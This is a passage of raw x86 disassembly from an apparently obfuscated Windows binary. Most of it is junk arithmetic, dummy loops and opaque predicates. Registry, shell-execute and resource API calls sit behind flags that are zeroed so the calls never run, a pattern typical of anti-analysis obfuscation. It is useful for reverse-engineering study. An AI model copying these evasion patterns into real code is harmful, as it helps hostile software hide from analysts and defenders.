je 0x10035177
cmp byte [ebp - 0x29], 0
je 0x100351a8
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
xor eax, eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffff
jle 0x10035167
lea ecx, [ebp - 0xb20]
mov byte [ebp - 4], 0xa
call fcn.10017b25
mov dword [ebp - 0x40], 0x451f1e28
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0x40], 0xb4cf22a1
push esi
call fcn.10017abd
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x10035208
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1148]
call fcn.10017b2a
mov dword [eax], 0xe77dd688
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x100351e9
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1003521a
push dword [ebp - 0x3c]
call fcn.10017b2a
mov dword [eax], edi
inc dword [ebp - 0x3c]
lea ecx, [ebp - 0xf38]
cmp dword [ebp - 0x3c], esi
jl 0x1003520d
inc dword [ebp - 0x24]
call fcn.10017b25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1148]
call fcn.10017b25
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x100350cb
xor eax, eax
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x50], eax
push esi
call fcn.10017abd
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x58], 0xbdd4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0x4752e4a6
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x38], 0xe67b33df
mov dword [ebp - 0x30], 0xa3a768fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100352c2
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1bc]
call fcn.10017b2a
mov dword [eax], 0xde57
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100352a4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100352e4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf50], 0x1b167519
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100352cb
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jge 0x10035308
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x850], 0
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100352ef
push eax
lea ecx, [ebp - 0x1bc]
call fcn.10017b2a
mov ecx, dword [ebp - 0x20]
mov esi, eax
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 0x50]
setg al
xor edx, edx
cmp eax, ecx
setge dl
sub edx, dword [esi]
jne 0x1003533f
xor esi, esi
lea ecx, [ebp - 0x1bc]
inc esi
push esi
call fcn.10017b2a
jmp 0x10035342
xor esi, esi
inc esi
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x1bc]
push esi
call fcn.10017b2a
mov ecx, dword [ebp - 0x3c]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x1bc]
setle bl
call fcn.10017b2a
mov ecx, dword [ebp - 0x58]
xor edx, edx
cmp ebx, ecx
mov esi, eax
mov ebx, 0xfff9
setle dl
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x50]
add ecx, 0x5900
cmp ecx, 0xfffa
sbb eax, eax
neg eax
sub eax, 0xd65121ac
neg eax
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [esi]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
sub edx, 7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x20], eax
je 0x100354de
mov dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x1bc]
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x14]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x38]
cmp ecx, eax
jle 0x1003541a
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10035416
cmp dword [ebp - 0xf50], eax
jne 0x1003541a
mov ecx, eax
jmp 0x1003541f
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x4c]
imul eax, ecx
test eax, eax
jne 0x10035433
cmp dword [ebp - 0x34], eax
jne 0x10035433
mov esi, eax
inc eax
jmp 0x10035438
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x1bc]
call fcn.10017b2a
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
mov eax, dword [eax]
sete dl
xor ecx, ecx
cmp edx, 0xfffffffe
setle cl
sub ecx, 0xfffffffb
neg ecx
sbb ecx, ecx
lea esi, [ecx + 1]
add esi, eax
lea ecx, [ebp - 0x1bc]
xor eax, eax
mov dword [ebp - 0xf50], esi
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp esi, ecx
sete dl
xor ecx, ecx
cmp edx, dword [eax]
setne cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
jne 0x10035498
cmp dword [ebp - 0x3c], eax
je 0x100354b5
xor eax, eax
lea ecx, [ebp - 0x1bc]
inc eax
push eax
call fcn.10017b2a
cmp dword [eax], 0
je 0x100354b3
xor eax, eax
lea edx, [eax + 1]
jmp 0x100354b7
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
sub eax, 0xb2a93f04
neg eax
sbb eax, eax
inc eax
cmp eax, ebx
jb 0x100354dc
xor eax, eax
inc eax
mov esi, eax
jmp 0x100354e3
xor eax, eax
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x1bc]
call fcn.10017b2a
mov ecx, 0xbc4638b1
cmp ecx, esi
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, dword [eax]
mov eax, dword [ebp - 0x850]
cmp ecx, 0xfffffffb
setl dl
sub edx, eax
mov eax, dword [ebp - 0x3c]
sub edx, 0x559c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
sete cl
xor edx, edx
sub ecx, 0x1c31
cmp ecx, eax
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
sub edx, 0x24235991
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1bc]
or dword [ebp - 4], 0xffffffff
call fcn.10017b25
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x560], eax
jg 0x100355ec
xor eax, eax
mov dword [ebp - 0x1c], 0xe510b2d4
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x24], 8
jl 0x1003557d
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x564], 0xfffffffc
jne 0x1003558e
cmp dword [ebp - 0x24], eax
je 0x1003558e
inc eax
mov dword [ebp - 0x50], eax
xor edx, edx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x564]
cmp ecx, eax
mov eax, dword [ebp - 0x560]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xdd50170a
push 3
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x28]
pop esi
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, 0xfffffffe
setne cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x54], eax
jmp 0x1003561c
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop esi
jmp 0x10035607
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x568], 2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100355f6
cmp dword [ebp - 0x24], 0xfffd
sbb eax, eax
inc eax
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x18], esi
xor edx, edx
mov dword [ebp - 0x20], 0xb2ab76d6
mov dword [ebp - 0x24], 0x46c3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ebx, ebx
cmp edx, 0x6525
setge bl
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x24]
jg 0x100356b8
cmp dword [ebp - 0x20], eax
jne 0x100356b8
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x10035691
push eax
push 0x1f73
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
xor eax, eax
mov dword [ebp - 0x18], 0xa
jmp 0x100356b0
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x100356ad
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 7
jne 0x1003569a
jmp 0x10035706
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100356da
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x16e8], 0x7b2415fb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100356c1
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10035701
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x100356fe
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x16e8], 0
jne 0x100356fc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x100356e7
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x100356df
push 2
pop esi
mov dword [ebp - 0x14], 0x4432
lea ecx, [ebp - 0x1234]
mov dword [ebp - 0x18], 0xfffe
mov dword [ebp - 0x34], 0xb0a3531f
push esi
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10035753
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x16b8], 5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003573b
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003576f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1234]
call fcn.10017b2a
mov dword [eax], 0x459c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10035758
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100357de
xor ebx, ebx
mov dword [ebp - 0x18], eax
inc ebx
jmp 0x100357d4
mov dword [ebp - 0x34], eax
jmp 0x100357b9
cmp byte [ebp - 0x29], 0
je 0x100357b6
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 0x29], al
jle 0x100357a6
cmp byte [ebp - 0x29], 0
je 0x100357d1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100357a1
jmp 0x100358fb
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x30
jl 0x100358f8
push esi
lea ecx, [ebp - 0x80c]
call fcn.10017abd
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x50], 0x49f7fae0
mov dword [ebp - 0x54], 0x6354d184
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003583c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x80c]
call fcn.10017b2a
or dword [eax], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035821
xor eax, eax
mov dword [ebp - 0x34], 0xffffffe8
cmp dword [ebp - 0x34], 0xf
jl 0x100358e1
jmp 0x10035851
xor eax, eax
mov dword [ebp - 0x14], 0x9002fce4
lea ecx, [ebp - 0x80c]
push eax
call fcn.10017b2a
xor eax, eax
lea ecx, [ebp - 0x80c]
inc eax
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x80c]
setne dl
xor ebx, ebx
cmp edx, 0xe85dc32c
setne bl
xor eax, eax
push eax
call fcn.10017b2a
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, 0xf8d36fbc
setne cl
add ecx, 0xffff
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
imul eax, dword [ebp - 0x14], 0x39bb
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x100358c4
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x54], 0xa7fcf623
inc dword [ebp - 0x38]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
jge 0x1003584f
lea ecx, [ebp - 0x80c]
mov byte [ebp - 4], 0xe
call fcn.10017b25
inc dword [ebp - 0x18]
jmp 0x100357ef
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x10035911
push eax
push 0x257e
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1234]
call fcn.10017b25
mov dword [ebp - 0x28], 0xb9f9b31
xor eax, eax
mov dword [ebp - 0x6d4], eax
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], eax
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x28], 6
cmp dword [ebp - 0x28], 0xc
jle 0x10035aa8
push 0x10
pop ebx
mov dword [ebp - 0x24], 0xc6f1bf50
lea ecx, [ebp - 0x9a4]
push esi
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10035996
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9a4]
call fcn.10017b2a
mov dword [eax], 0x1d686a37
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035978
xor eax, eax
mov dword [ebp - 0x24], ebx
jmp 0x10035a6c
mov dword [ebp - 0x20], eax
push 4
pop ecx
mov dword [ebp - 0xdf4], ecx
mov dword [ebp - 0xdf0], ecx
mov dword [ebp - 0xdec], ecx
mov dword [ebp - 0xde8], ecx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x100359cf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x10035a69
mov dword [ebp - 0x1c], eax
jmp 0x100359f2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x810], 0x233fd52
inc dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jl 0x100359e1
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x9a4]
mov dword [ebp + eax*4 - 0x6d4], 0x3e38693
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6d4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6d4]
xor eax, eax
inc eax
mov dword [ebp - 0xde8], eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6d4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6d4]
xor eax, eax
inc eax
mov dword [ebp - 0x810], eax
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x24]
push 0
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
pop eax
jle 0x100359dc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x18
je 0x1003599e
push eax
lea ecx, [ebp - 0x9a4]
call fcn.10017b2a
lea ecx, [ebp - 0x9a4]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
call fcn.10017b25
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xc
jg 0x10035958
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0xf68]
push esi
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x714], eax
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10035afb
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf68]
call fcn.10017b2a
or dword [eax], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035ae0
xor eax, eax
mov dword [ebp - 0x70c], eax
jmp 0x10035b1c
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10035b16
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor eax, eax
inc dword [ebp - 0x70c]
cmp dword [ebp - 0x70c], ebx
jle 0x10035b03
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf68]
call fcn.10017b25
mov dword [ebp - 0x44], 0xffffffff
mov eax, 0xf112
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
xor eax, eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], 0x8d38
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10035b83
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x134], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035b6b
xor eax, eax
mov dword [ebp - 0x130], 3
cmp dword [ebp - 0x130], eax
jl 0x10035bbe
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10035bb6
push 0x25a
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
dec dword [ebp - 0x130]
jns 0x10035b95
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x130]
mov dword [ebp - 0x54], eax
je 0x10035be4
mov dword [ebp - 0x54], 0xe1dfe009
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x54], eax
jmp 0x10035c68
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10035c1c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x330], 0xafca8629
xor eax, eax
inc dword [ebp - 0x1c]
inc eax
cmp dword [ebp - 0x1c], eax
jl 0x10035bfe
xor ebx, ebx
xor eax, eax
inc ebx
inc dword [ebp - 0x50]
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x10035c68
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x134], 0
je 0x10035c46
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x10035c63
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x10035c63
mov eax, dword [ebp - 0x330]
mov ecx, ebx
mov edx, dword [ebp - 0x330]
sub ecx, eax
mov eax, dword [ebp - 0x28]
imul edx, ecx
mov dword [ebp + eax*4 - 0x134], edx
dec dword [ebp - 0x28]
jns 0x10035c27
mov dword [ebp - 0x20], 0xa8360e56
mov eax, 0xbdec7e1
mov dword [ebp - 0x18], 0xaeb9ae77
mov dword [ebp - 0x3c], 0x55595070
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x34], 0x44fe
mov dword [ebp - 0x48], 0x949e3b93
mov dword [ebp - 0x50], 8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x18]
je 0x10035e14
mov dword [ebp - 0x14], 0xfff6
lea ecx, [ebp - 0xc70]
mov dword [ebp - 0x38], 0xb94d0f4f
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x28], 0x89276496
push esi
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x1c], eax
jmp 0x10035d2c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc70]
call fcn.10017b2a
mov dword [eax], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035d15
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setg dl
cmp edx, 4
jae 0x10035d53
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10035d55
mov eax, ebx
inc dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xa1d2daff
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
inc ecx
sub ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
je 0x10035d8e
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10035d90
inc eax
mov esi, eax
jmp 0x10035d95
xor eax, eax
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0xc70]
call fcn.10017b2a
mov ecx, dword [ebp - 0x18]
imul ecx, esi
mov dword [eax], ecx
mov dword [ebp - 0x28], 0xffffffe3
jmp 0x10035df7
mov dword [ebp - 0x54], 0xffffffff
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0xffffffe5
cmp dword [ebp - 0x24], 0xfffffff9
je 0x10035df4
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10035de6
push eax
push 0x1da3
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10035df4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
jne 0x10035dce
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x16
jge 0x10035db2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc70]
call fcn.10017b25
push 2
pop esi
jmp 0x10035ef0
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], 0xffffffe8
jmp 0x10035ee6
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10035e52
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x78c], 0
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10035e34
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], eax
jmp 0x10035e64
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1700], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10035e57
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
test eax, eax
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x38]
setne cl
xor edx, edx
cmp ecx, eax
push 0
setg dl
xor ecx, ecx
mov dword [ebp - 0x78c], edx
mov eax, dword [ebp - 0x38]
cmp edx, eax
mov eax, dword [ebp - 0x28]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
sub ecx, 0x567d043c
cmp ecx, 0x58f2
setle al
mov dword [ebp - 0x16f4], eax
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0x15
je 0x10035e25
mov eax, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, edi
dec dword [ebp - 0x48]
mov dword [ebp - 0x50], 0xa51e29af
mov eax, dword [ebp - 0x50]
sub ecx, eax
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4b0]
imul edx, eax
mov eax, dword [ebp - 0x18]
add eax, edx
cmp eax, dword [ebp - 0x4b0]
jle 0x10035f37
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10035f37
mov eax, dword [ebp - 0x4b0]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
xor ebx, ebx
inc ebx
cmp eax, ebx
mov eax, dword [ebp - 0x4b8]
push esi
setle cl
xor edx, edx
imul ecx, ecx, 0x18bf
sub ecx, eax
mov dword [ebp - 0x4b0], ecx
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x50], eax
call fcn.10017abd
mov dword [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x54], 0xbdd4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0x4752e4a6
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 4
mov dword [ebp - 0x38], 0xe67b33df
mov dword [ebp - 0x30], 0xa3a768fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10035fec
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1cc]
call fcn.10017b2a
mov dword [eax], 0xde57
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10035fce
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003600e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1160], 0x1b167519
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10035ff5
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jge 0x10036032
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x820], 0
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10036019
push eax
lea ecx, [ebp - 0x1cc]
call fcn.10017b2a
mov ecx, dword [ebp - 0x24]
mov esi, eax
xor eax, eax
test ecx, ecx
